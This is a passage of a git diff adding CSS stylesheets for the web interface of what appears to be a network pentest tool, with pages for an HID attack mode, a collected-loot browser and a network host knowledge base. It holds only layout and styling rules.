border-radius: 999px; + border: 1px solid var(--st-border); + background: #0b2233; + font-size: 11px; +} + +.studio-container hr { + border: none; + border-top: 1px solid var(--st-border); + margin: .6rem 0; +} + +.studio-container .form-row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; +} + +@media (max-width:600px) { + .studio-container .form-row { + grid-template-columns: 1fr; + } +} + +.studio-container footer { + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; + padding: 8px; + border-top: 1px solid var(--st-border); + background: linear-gradient(90deg, rgba(10, 23, 34, .6), rgba(6, 16, 24, .8)); + font-size: 12px; + color: var(--st-muted); +} + +.studio-container footer { + flex-wrap: wrap; + justify-content: flex-start; +} + +.studio-container .menu .item:hover { + background: color-mix(in oklab, var(--st-neon2) 16%, transparent); +} + +.studio-container #mainMenu { + z-index: 2400 !important; +} + +.studio-container .modal { + display: none; + position: fixed; + inset: 0; + background: rgba(0, 0, 0, .8); + z-index: 2500; + align-items: center; + justify-content: center; +} + +.studio-container .modal.show { + display: flex; +} + +.studio-container .modal-content { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 16px; + padding: 20px; + max-width: 560px; + width: 92vw; + max-height: 90vh; + overflow: auto; +} + +.studio-container .modal-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16px; +} + +.studio-container .modal-title { + font-size: 18px; + font-weight: 600; +} + +.studio-container .modal-close { + background: none; + border: none; + color: #fff; + font-size: 24px; + cursor: pointer; +} + +.studio-container #helpModal .section { + margin-bottom: 10px; +} + +.studio-container #helpModal .section .small { + display: block; + margin: 5px 0; +} + +.studio-container .edge-menu { + position: fixed; + background: var(--st-card); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 6px; + box-shadow: 0 8px 24px rgba(0, 0, 0, .4); + z-index: 2550; + display: none; +} + +.studio-container .edge-menu.show { + display: block; +} + +.studio-container .edge-menu-item { + padding: 10px 12px; + border-radius: 8px; + cursor: pointer; + font-size: 13px; +} + +.studio-container .edge-menu-item:hover { + background: #0b2233; +} + +.studio-container .edge-menu-item.danger { + color: var(--st-bad); +} + +.studio-mobile-dock { + display: none; + position: fixed; + left: 10px; + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 8px); + z-index: 2250; + gap: 6px; + align-items: center; + justify-content: space-between; + padding: 8px; + border: 1px solid var(--st-border); + border-radius: 14px; + background: color-mix(in oklab, #08131d 90%, transparent); + box-shadow: 0 10px 24px rgba(0, 0, 0, .35); + backdrop-filter: blur(8px); +} + +.studio-mobile-dock .btn { + min-height: 38px; + padding: .4rem .7rem; + font-size: 13px; + display: inline-flex; + align-items: center; + justify-content: center; + flex: 1; +} + +.studio-mobile-stats { + color: var(--st-muted); + font-size: 11px; + min-width: 56px; + text-align: center; +} + +.studio-toast { + position: fixed; + right: 12px; + bottom: calc(var(--h-bottombar, 56px) + 74px); + z-index: 2800; + min-width: 180px; + max-width: min(92vw, 380px); + padding: 10px 14px; + border-radius: 10px; + border: 1px solid var(--st-border); + background: color-mix(in oklab, #0b1620 92%, transparent); + color: var(--st-text); + box-shadow: 0 8px 20px rgba(0, 0, 0, .32); + transition: opacity .25s ease; + opacity: 0; +} + +.studio-toast.success { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.studio-toast.error { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.studio-toast.warn { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +@media (max-width:960px) { + .studio-container header { + flex-wrap: nowrap; + overflow: visible; + min-height: 44px; + padding: 6px 8px; + } + + .studio-container h1 { + white-space: nowrap; + } + + .studio-container .logo { + width: 18px; + height: 18px; + } + + .studio-container .canvas-hint { + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-container #controls { + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-toast { + bottom: calc(var(--h-bottombar, 56px) + 108px); + } +} + +@media (max-width:640px) { + .studio-container footer { + display: none; + } + + .studio-container footer .pill:nth-child(4), + .studio-container footer .pill:nth-child(5) { + display: none; + } + + .studio-container .canvas-hint { + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-container .canvas-hint span { + display: none; + } + + .studio-mobile-dock .btn { + padding: .34rem .5rem; + min-width: 62px; + } +} \ No newline at end of file diff --git a/web/css/pages/loki.css b/web/css/pages/loki.css new file mode 100644 index 0000000..204cd53 --- /dev/null +++ b/web/css/pages/loki.css @@ -0,0 +1,403 @@ +/* ============================================================ + Loki (HID Attack Mode) — SPA page styles + ============================================================ */ + +.loki-page { + display: flex; + flex-direction: column; + height: 100%; + min-height: 0; + gap: 12px; + padding: 15px; +} + +/* ── Header bar ─────────────────────────────────────────── */ + +.loki-header { + display: flex; + justify-content: space-between; + align-items: center; + flex-shrink: 0; + flex-wrap: wrap; + gap: 10px; +} + +.loki-title { + margin: 0; + font-size: 1.3rem; + font-weight: 800; + color: var(--ink); + display: flex; + align-items: center; + gap: 8px; +} + +.loki-title-icon { font-size: 1.5rem; } + +.loki-controls { + display: flex; + gap: 8px; + align-items: center; +} + +/* ── Status bar ─────────────────────────────────────────── */ + +.loki-status-bar { + display: flex; + flex-wrap: wrap; + gap: 12px; + padding: 10px 14px; + border-radius: 8px; + background: var(--surface); + border: 1px solid var(--line); + font-size: 0.85rem; + color: var(--muted); +} + +.loki-status-item { + display: flex; + align-items: center; + gap: 4px; +} + +.loki-status-item .label { font-weight: 600; } +.loki-status-item .value { color: var(--ink); } + +.loki-status-item .dot { + width: 8px; + height: 8px; + border-radius: 50%; + display: inline-block; +} +.loki-status-item .dot.on { background: var(--ok, #10b981); } +.loki-status-item .dot.off { background: var(--muted, #888); } + +/* ── Grid: Editor + Library ──────────────────────────────── */ + +.loki-grid { + display: grid; + grid-template-columns: 1fr 280px; + gap: 12px; + flex: 1; + min-height: 0; +} + +@media (max-width: 768px) { + .loki-grid { + grid-template-columns: 1fr; + grid-template-rows: 1fr auto; + } +} + +/* ── Editor panel ────────────────────────────────────────── */ + +.loki-editor-panel { + display: flex; + flex-direction: column; + gap: 8px; + min-height: 0; +} + +.loki-editor { + flex: 1; + min-height: 200px; + width: 100%; + font-family: 'Courier New', 'Fira Code', monospace; + font-size: 0.85rem; + line-height: 1.5; + padding: 12px; + border: 1px solid var(--line); + border-radius: 8px; + background: var(--surface); + color: var(--ink); + resize: vertical; + tab-size: 2; + white-space: pre; + overflow: auto; +} + +.loki-editor:focus { + outline: 2px solid var(--accent, #3b82f6); + outline-offset: -1px; +} + +.loki-editor-toolbar { + display: flex; + flex-wrap: wrap; + gap: 8px; + align-items: center; +} + +.loki-editor-toolbar select { + padding: 6px 10px; + border: 1px solid var(--line); + border-radius: 6px; + background: var(--surface); + color: var(--ink); + font-size: 0.8rem; +} + +/* ── Library panel ───────────────────────────────────────── */ + +.loki-library { + display: flex; + flex-direction: column; + gap: 8px; + min-height: 0; + max-height: 100%; + overflow-y: auto; +} + +.loki-library-section { + border: 1px solid var(--line); + border-radius: 8px; + background: var(--surface); + overflow: hidden; +} + +.loki-library-heading { + padding: 8px 12px; + font-weight: 700; + font-size: 0.8rem; + text-transform: uppercase; + letter-spacing: 0.05em; + color: var(--muted); + border-bottom: 1px solid var(--line); + cursor: pointer; + user-select: none; + display: flex; + justify-content: space-between; + align-items: center; +} + +.loki-library-heading::after { + content: '▾'; + font-size: 0.7rem; +} + +.loki-library-list { + list-style: none; + margin: 0; + padding: 0; + max-height: 200px; + overflow-y: auto; +} + +.loki-library-item { + padding: 6px 12px; + cursor: pointer; + font-size: 0.8rem; + color: var(--ink); + border-bottom: 1px solid var(--line-faint, var(--line)); + transition: background 0.15s; + display: flex; + justify-content: space-between; + align-items: center; +} + +.loki-library-item:last-child { border-bottom: none; } + +.loki-library-item:hover { + background: var(--hover, rgba(0,0,0,0.04)); +} + +.loki-library-item.active { + background: var(--accent-bg, rgba(59, 130, 246, 0.1)); + font-weight: 600; +} + +.loki-library-item .name { flex: 1; } +.loki-library-item .badge { + font-size: 0.65rem; + padding: 1px 5px; + border-radius: 4px; + background: var(--muted); + color: var(--surface, #fff); +} + +/* ── Jobs panel ──────────────────────────────────────────── */ + +.loki-jobs { + flex-shrink: 0; +} + +.loki-jobs-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 8px; +} + +.loki-jobs-header h3 { + margin: 0; + font-size: 0.95rem; + font-weight: 700; + color: var(--ink); +} + +.loki-jobs-table { + width: 100%; + border-collapse: collapse; + font-size: 0.8rem; +} + +.loki-jobs-table th, +.loki-jobs-table td { + padding: 6px 10px; + text-align: left; + border-bottom: 1px solid var(--line); +} + +.loki-jobs-table th { + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + font-size: 0.7rem; + letter-spacing: 0.04em; +} + +.loki-jobs-empty { + text-align: center; + padding: 16px; + color: var(--muted); + font-size: 0.85rem; +} + +/* ── Job status badges ───────────────────────────────────── */ + +.loki-badge { + display: inline-flex; + align-items: center; + gap: 4px; + padding: 2px 8px; + border-radius: 10px; + font-size: 0.7rem; + font-weight: 600; + white-space: nowrap; +} + +.loki-badge.running { background: #fef3c7; color: #92400e; } +.loki-badge.succeeded { background: #d1fae5; color: #065f46; } +.loki-badge.failed { background: #fee2e2; color: #991b1b; } +.loki-badge.cancelled { background: #e5e7eb; color: #374151; } +.loki-badge.pending { background: #e0e7ff; color: #3730a3; } + +/* ── Buttons ─────────────────────────────────────────────── */ + +.loki-btn { + padding: 6px 14px; + border: 1px solid var(--line); + border-radius: 6px; + background: var(--surface); + color: var(--ink); + font-size: 0.8rem; + font-weight: 600; + cursor: pointer; + transition: all 0.15s; + display: inline-flex; + align-items: center; + gap: 4px; +} + +.loki-btn:hover { background: var(--hover, rgba(0,0,0,0.04)); } + +.loki-btn.primary { + background: var(--accent, #3b82f6); + color: #fff; + border-color: var(--accent, #3b82f6); +} +.loki-btn.primary:hover { filter: brightness(1.1); } + +.loki-btn.danger { + background: var(--danger, #ef4444); + color: #fff; + border-color: var(--danger, #ef4444); +} +.loki-btn.danger:hover { filter: brightness(1.1); } + +.loki-btn:disabled { + opacity: 0.5; + cursor: not-allowed; +} + +/* ── Toggle switch ───────────────────────────────────────── */ + +.loki-toggle { + position: relative; + width: 44px; + height: 24px; + appearance: none; + background: var(--muted, #ccc); + border-radius: 12px; + cursor: pointer; + transition: background 0.3s; + border: none; +} + +.loki-toggle:checked { background: var(--ok, #10b981); } + +.loki-toggle::after { + content: ''; + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: #fff; + transition: transform 0.3s; +} + +.loki-toggle:checked::after { transform: translateX(20px); } + +/* ── Disabled overlay ────────────────────────────────────── */ + +.loki-disabled-overlay { + position: relative; +} + +.loki-disabled-overlay::after { + content: ''; + position: absolute; + inset: 0; + background: var(--surface, #fff); + opacity: 0.6; + pointer-events: all; + border-radius: 8px; + z-index: 2; +} + +/* ── Quick type ──────────────────────────────────────────── */ + +.loki-quick-row { + display: flex; + gap: 8px; + align-items: center; +} + +.loki-quick-input { + flex: 1; + padding: 6px 10px; + border: 1px solid var(--line); + border-radius: 6px; + font-size: 0.8rem; + background: var(--surface); + color: var(--ink); +} + +/* ── Install banner ─────────────────────────────────────── */ + +.loki-install-banner { + padding: 16px 20px; + background: var(--warn-bg, #fff3cd); + border: 1px solid var(--warn-border, #ffc107); + border-radius: 8px; + text-align: center; + margin-bottom: 4px; +} + +.loki-install-banner p { + margin: 0 0 12px; + font-size: 0.85rem; + color: var(--ink); +} diff --git a/web/css/pages/loot.css b/web/css/pages/loot.css new file mode 100644 index 0000000..bb922f8 --- /dev/null +++ b/web/css/pages/loot.css @@ -0,0 +1,633 @@ +/* ========================================================================== + LOOT + ========================================================================== */ +.loot-container { + position: relative; + z-index: 2; + padding: 16px; + margin-top: 5px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + display: flex; + flex-direction: column; + gap: 16px; + animation: loot-fadeInUp .6s ease-out; + overflow: hidden; +} + +@keyframes loot-fadeInUp { + from { + opacity: 0; + transform: translateY(30px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +.loot-container .stats-bar { + display: flex; + gap: 12px; + flex-wrap: wrap; + padding: 12px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); + backdrop-filter: blur(16px); +} + +.loot-container .stat-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 16px; + background: color-mix(in oklab, var(--_panel) 65%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + transition: .2s; +} + +.loot-container .stat-item:hover { + background: color-mix(in oklab, var(--_panel) 78%, transparent); + transform: translateY(-2px); +} + +.loot-container .stat-icon { + font-size: 1.2rem; + opacity: .95; +} + +.loot-container .stat-value { + font-size: 1.05rem; + font-weight: 800; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; +} + +.loot-container .stat-label { + color: var(--_muted); + font-size: .75rem; + margin-left: 4px; +} + +.loot-container .controls-bar { + display: flex; + gap: 12px; + align-items: center; + flex-wrap: wrap; +} + +.loot-container .search-container { + min-width: 200px; + position: relative; +} + +.loot-container .search-input { + width: 100%; + padding: 12px 16px 12px 44px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + color: var(--_ink); + font-size: .95rem; + backdrop-filter: blur(10px); + transition: .2s; +} + +.loot-container .search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.loot-container .search-icon { + position: absolute; + left: 16px; + top: 50%; + transform: translateY(-50%); + color: var(--_muted); + pointer-events: none; +} + +.loot-container .clear-search { + position: absolute; + right: 12px; + top: 50%; + transform: translateY(-50%); + color: var(--_muted); + cursor: pointer; + font-size: 1rem; + display: none; +} + +.loot-container .search-input:not(:placeholder-shown)~.clear-search { + display: block; +} + +.loot-container .view-controls { + display: flex; + gap: 8px; + align-items: center; +} + +.loot-container .view-btn, +.loot-container .sort-btn { + padding: 10px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + color: var(--_muted); + cursor: pointer; + transition: .2s; + backdrop-filter: blur(10px); + font-size: 1.1rem; +} + +.loot-container .view-btn:hover, +.loot-container .sort-btn:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + transform: translateY(-2px); +} + +.loot-container .view-btn.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 20%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.loot-container .sort-dropdown { + position: relative; +} + +.loot-container .sort-menu { + position: absolute; + top: calc(100% + 8px); + right: 0; + background: color-mix(in oklab, var(--_panel) 98%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + padding: 8px; + min-width: 150px; + backdrop-filter: blur(20px); + box-shadow: var(--_shadow); + opacity: 0; + pointer-events: none; + transform: translateY(-10px); + transition: .2s; + z-index: 10; +} + +.loot-container .sort-dropdown.active .sort-menu { + opacity: 1; + pointer-events: auto; + transform: translateY(0); +} + +.loot-container .sort-option { + padding: 10px 12px; + border-radius: 8px; + cursor: pointer; + transition: .2s; + font-size: .9rem; + color: var(--_ink); +} + +.loot-container .sort-option:hover { + background: rgba(255, 255, 255, .05); +} + +.loot-container .sort-option.active { + color: var(--_ink); + background: color-mix(in oklab, var(--_acid2) 14%, transparent); +} + +.loot-container .tabs-container { + display: flex; + gap: 8px; + padding: 4px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border-radius: 12px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); + overflow-x: auto; + scrollbar-width: none; +} + +.loot-container .tabs-container::-webkit-scrollbar { + display: none; +} + +.loot-container .tab { + padding: 10px 20px; + border-radius: 8px; + cursor: pointer; + transition: .2s; + white-space: nowrap; + font-size: .9rem; + font-weight: 700; + position: relative; + color: var(--_muted); + border: 1px solid transparent; +} + +.loot-container .tab:hover { + background: rgba(255, 255, 255, .05); + color: var(--_ink); +} + +.loot-container .tab.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.loot-container .tab.active::after { + content: ''; + position: absolute; + bottom: 0; + left: 10%; + right: 10%; + height: 2px; + background: linear-gradient(90deg, var(--_acid), var(--_acid2)); + border-radius: 2px; +} + +.loot-container .tab-badge { + display: inline-block; + padding: 2px 6px; + margin-left: 6px; + background: rgba(255, 255, 255, .08); + border: 1px solid var(--_border); + border-radius: 10px; + font-size: .75rem; + font-weight: 700; + color: var(--_ink); +} + +.loot-container .explorer { + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border-radius: 20px; + border: 1px solid var(--_border); + backdrop-filter: blur(20px); + box-shadow: var(--_shadow); + overflow: hidden; + flex: 1; + display: flex; + flex-direction: column; + animation: loot-slideIn .6s ease-out; +} + +@keyframes loot-slideIn { + from { + opacity: 0; + transform: translateX(-16px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.loot-container .explorer-content { + padding: 20px; + overflow-y: auto; + flex: 1; + min-height: 0; +} + +.loot-container .tree-view { + display: none; +} + +.loot-container .tree-view.active { + display: block; +} + +.loot-container .list-view { + display: none; +} + +.loot-container .list-view.active { + display: grid; + gap: 8px; +} + +.loot-container .loot-tree-node { + margin-bottom: 4px; + animation: loot-itemSlide .3s ease-out backwards; + margin-left: calc(var(--loot-level, 0) * 8px); +} + +@keyframes loot-itemSlide { + from { + opacity: 0; + transform: translateX(-10px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.loot-container .loot-tree-row { + width: 100%; + display: grid; + grid-template-columns: 18px 30px minmax(0, 1fr) auto; + align-items: center; + gap: 10px; + padding: 10px 12px; + cursor: pointer; + border-radius: 10px; + transition: .2s; + border: 1px solid transparent; + position: relative; + overflow: hidden; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 86%, transparent); + text-align: left; +} + +.loot-container .loot-tree-row::before { + content: ''; + position: absolute; + inset: 0; + background: linear-gradient(90deg, transparent, rgba(255, 255, 255, .05), transparent); + transform: translateX(-100%); + transition: transform .6s; +} + +.loot-container .loot-tree-row:hover::before { + transform: translateX(100%); +} + +.loot-container .loot-tree-row:hover { + border-color: color-mix(in oklab, var(--_acid2) 26%, var(--_border)); + background: color-mix(in oklab, var(--_panel) 94%, transparent); +} + +.loot-container .loot-tree-icon { + width: 30px; + height: 30px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 8px; + font-size: 1.1rem; + flex-shrink: 0; + background: color-mix(in oklab, var(--_acid) 12%, transparent); + color: var(--_ink); +} + +.loot-container .folder-icon { + background: color-mix(in oklab, var(--_acid) 10%, transparent); + color: var(--_ink); +} + +.loot-container .loot-tree-name { + font-weight: 600; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.loot-container .loot-tree-chevron { + width: 18px; + height: 18px; + display: flex; + align-items: center; + justify-content: center; + color: var(--_muted); + transition: transform .3s cubic-bezier(.4, 0, .2, 1); + font-size: .75rem; +} + +.loot-container .loot-tree-meta { + justify-self: end; + padding: 2px 8px; + border-radius: 999px; + border: 1px solid var(--_border); + font-size: .72rem; + color: var(--_muted); + background: color-mix(in oklab, var(--_panel) 76%, transparent); +} + +.loot-container .loot-tree-node.expanded .loot-tree-chevron { + transform: rotate(90deg); +} + +.loot-container .loot-tree-children { + display: none; + overflow: hidden; + margin-left: 10px; + padding-left: 14px; + border-left: 1px dashed color-mix(in oklab, var(--_border) 82%, transparent); +} + +.loot-container .loot-tree-node.expanded .loot-tree-children { + display: block; +} + +.loot-container .file-item { + display: flex; + align-items: center; + padding: 10px 12px; + border-radius: 10px; + cursor: pointer; + transition: .2s; + margin-bottom: 4px; +} + +.loot-container .file-item:hover { + background: rgba(255, 255, 255, .04); + transform: translateX(4px); +} + +.loot-container .file-item:active { + transform: translateX(2px) scale(.98); +} + +.loot-container .file-item.is-tree-file { + margin-left: calc(var(--loot-level, 0) * 8px); + margin-top: 2px; + margin-bottom: 2px; + padding: 8px 10px; + border: 1px solid transparent; + background: color-mix(in oklab, var(--_panel) 82%, transparent); +} + +.loot-container .file-item.is-tree-file:hover { + transform: none; + border-color: color-mix(in oklab, var(--_acid2) 22%, var(--_border)); +} + +.loot-container .file-icon { + width: 28px; + height: 28px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 6px; + margin-right: 12px; + font-size: .9rem; + flex-shrink: 0; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 75%, transparent); +} + +.loot-container .file-icon.ssh { + background: color-mix(in oklab, var(--_acid) 12%, transparent); +} + +.loot-container .file-icon.sql { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.loot-container .file-icon.smb { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); +} + +.loot-container .file-icon.other { + background: color-mix(in oklab, var(--_panel) 75%, transparent); +} + +.loot-container .file-name { + flex: 1; + font-size: .9rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: var(--_ink); +} + +.loot-container .file-type { + padding: 3px 8px; + border-radius: 6px; + font-size: .7rem; + font-weight: 800; + text-transform: uppercase; + letter-spacing: .05em; + margin-left: 8px; + border: 1px solid var(--_border); + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 80%, transparent); +} + +.loot-container .file-type.ssh { + background: color-mix(in oklab, var(--_acid) 12%, transparent); +} + +.loot-container .file-type.sql { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.loot-container .file-type.smb { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); +} + +.loot-container .no-results { + text-align: center; + color: var(--_muted); + padding: 40px; + font-size: .95rem; +} + +.loot-container .no-results-icon { + font-size: 3rem; + margin-bottom: 16px; + opacity: .5; +} + +.loot-container .loading { + display: flex; + justify-content: center; + align-items: center; + height: 200px; +} + +.loot-container .loading-spinner { + width: 40px; + height: 40px; + border: 3px solid var(--_border); + border-top-color: var(--_acid2); + border-radius: 50%; + animation: loot-spin 1s linear infinite; +} + +@keyframes loot-spin { + to { + transform: rotate(360deg); + } +} + +@media (max-width:768px) { + .loot-container { + padding: 12px; + gap: 12px; + } + + .loot-container .controls-bar { + flex-direction: column; + align-items: stretch; + } + + .loot-container .search-container { + width: 100%; + } + + .loot-container .view-controls { + justify-content: center; + } + + .loot-container .tabs-container { + padding: 2px; + } + + .loot-container .tab { + padding: 8px 14px; + font-size: .85rem; + } + + .loot-container .explorer-content { + padding: 12px; + max-height: calc(100vh - 320px); + } + + .loot-container .loot-tree-row { + grid-template-columns: 16px 26px minmax(0, 1fr); + gap: 8px; + padding: 9px 10px; + } + + .loot-container .loot-tree-meta { + display: none; + } + + .loot-container .loot-tree-children { + margin-left: 8px; + padding-left: 10px; + } + + .loot-container .stat-item { + padding: 6px 10px; + } + + .loot-container .stat-value { + font-size: .95rem; + } +} + +@media (hover:none) { + .loot-container .loot-tree-row:active { + background: rgba(255, 255, 255, .06); + } +} + diff --git a/web/css/pages/netkb.css b/web/css/pages/netkb.css new file mode 100644 index 0000000..8ae03e2 --- /dev/null +++ b/web/css/pages/netkb.css @@ -0,0 +1,538 @@ +/* ===== NETKB ===== */ +.netkb-container { + display: grid; + gap: 16px; + min-width: 0; + max-width: 100%; + overflow: hidden; +} + +.netkb-container .hidden { + display: none !important; +} + +.netkb-container .netkb-toolbar-wrap { + position: sticky; + top: 0; + z-index: 500; + backdrop-filter: saturate(1.1) blur(6px); +} + +.netkb-container .netkb-toolbar { + position: relative; + display: flex; + gap: 12px; + align-items: center; + justify-content: flex-end; + margin-bottom: 12px; + border: 1px solid var(--c-border-strong); + padding: 8px 10px; + box-shadow: var(--shadow); + background: var(--panel); + border-radius: 16px; +} + +/* .segmented styles now inherited from global.css */ + +.netkb-container .kb-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px; +} + +.netkb-container .kb-switch input { + display: none; +} + +.netkb-container .kb-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border); +} + +.netkb-container .kb-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease; +} + +.netkb-container .kb-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid); +} + +.netkb-container .kb-switch[data-on="true"] { + color: var(--ink); +} + +.netkb-container .icon-btn { + display: inline-flex; + align-items: center; + justify-content: center; + width: 40px; + height: 40px; + border-radius: 12px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow); + cursor: pointer; + transition: transform .12s ease, box-shadow .12s ease; +} + +.netkb-container .icon-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.netkb-container .icon-btn svg { + width: 20px; + height: 20px; + fill: var(--ink); +} + +.netkb-container .search-pop { + position: absolute; + right: 8px; + top: 54px; + display: none; + min-width: 260px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 10px; + box-shadow: var(--shadow-hover); +} + +.netkb-container .search-pop.show { + display: block; +} + +.netkb-container .search-input-wrap { + position: relative; + display: flex; + align-items: center; +} + +.netkb-container .search-pop input { + width: 100%; + padding: 10px 32px 10px 12px; + border-radius: 10px; + border: 1px solid var(--c-border); + background: var(--c-panel-2); + color: var(--ink); + font-weight: 700; + outline: none; +} + +.netkb-container .search-clear { + position: absolute; + right: 6px; + top: 50%; + transform: translateY(-50%); + width: 24px; + height: 24px; + display: flex; + align-items: center; + justify-content: center; + border: none; + background: transparent; + color: var(--muted); + font-size: 14px; + cursor: pointer; + border-radius: 50%; + transition: background .15s; +} + +.netkb-container .search-clear:hover { + background: var(--c-border-strong); + color: var(--ink); +} + +.netkb-container .search-hint { + margin-top: 6px; + font-size: .85rem; + color: var(--muted); +} + +.netkb-container .card-container { + display: flex; + flex-wrap: wrap; + gap: 12px; + align-items: stretch; + justify-content: center; + min-width: 0; + max-width: 100%; +} + +.netkb-container .card { + background: var(--grad-card); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 18px; + box-shadow: var(--shadow); + width: min(380px, 100%); + padding: 12px; + display: flex; + flex-direction: column; + gap: 10px; + overflow: hidden; + min-width: 0; + transition: transform .15s ease, box-shadow .15s ease, border-color .15s ease, background .15s ease; +} + +.netkb-container .card:hover { + box-shadow: var(--shadow-hover); + border-color: var(--c-border-hi); + transform: translateY(-1px); +} + +.netkb-container .card.alive .card-title { + color: var(--ok); +} + +.netkb-container .card.not-alive { + background: var(--kb-offline-bg); + border-color: var(--kb-offline-brd); + color: color-mix(in oklab, var(--muted) 90%, var(--ink) 10%); + box-shadow: 0 0 0 1px var(--kb-offline-brd), 0 0 0 2px color-mix(in oklab, var(--kb-offline-ring) 26%, transparent), var(--shadow); +} + +.netkb-container .card.not-alive .card-title { + color: color-mix(in oklab, var(--muted) 85%, var(--ink) 15%); +} + +.netkb-container .card-content { + display: flex; + flex-direction: column; + gap: 6px; + flex: 1; +} + +.netkb-container .card-title { + font-size: 1.1rem; + font-weight: 800; + margin: 0; +} + +.netkb-container .card-section { + display: flex; + align-items: center; + gap: 8px; + flex-wrap: wrap; +} + +.netkb-container .card.list { + width: 100%; + max-width: none; + flex-direction: row; + align-items: center; +} + +.netkb-container .card.list .card-title { + font-size: 1rem; +} + +.netkb-container .chip { + display: inline-block; + padding: .32rem .7rem; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: var(--kb-chip); + color: var(--ink); + font-weight: 700; + font-size: .92rem; +} + +.netkb-container .chip.host { + background: var(--kb-hostname-bg); +} + +.netkb-container .chip.ip { + background: var(--kb-ip-bg); +} + +.netkb-container .chip.mac { + background: var(--kb-mac-bg); + color: var(--muted); +} + +.netkb-container .chip.vendor { + background: var(--kb-vendor-bg); +} + +.netkb-container .chip.essid { + background: var(--kb-essid-bg); +} + +.netkb-container .chip.port { + background: var(--kb-ports-bg); + border-color: var(--c-border-hi); +} + +.netkb-container .port-bubbles { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.netkb-container .status-container { + display: flex; + flex-wrap: wrap; + gap: 8px; + justify-content: center; + min-width: 0; + max-width: 100%; +} + +.netkb-container .badge { + background: var(--c-panel-2); + color: var(--ink); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 8px 10px; + min-width: 0; + flex: 1 1 120px; + max-width: 100%; + text-align: center; + box-shadow: var(--shadow); + transition: transform .12s ease, box-shadow .12s ease, opacity .12s ease; + position: relative; +} + +.netkb-container .badge .badge-header { + font-weight: 800; + opacity: .95; +} + +.netkb-container .badge .badge-status { + font-weight: 900; +} + +.netkb-container .badge .badge-timestamp { + font-size: .85em; + opacity: .9; +} + +.netkb-container .badge.clickable { + cursor: pointer; +} + +.netkb-container .badge:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.netkb-container .badge.success { + background: linear-gradient(180deg, color-mix(in oklab, var(--ok) 12%, transparent), transparent); 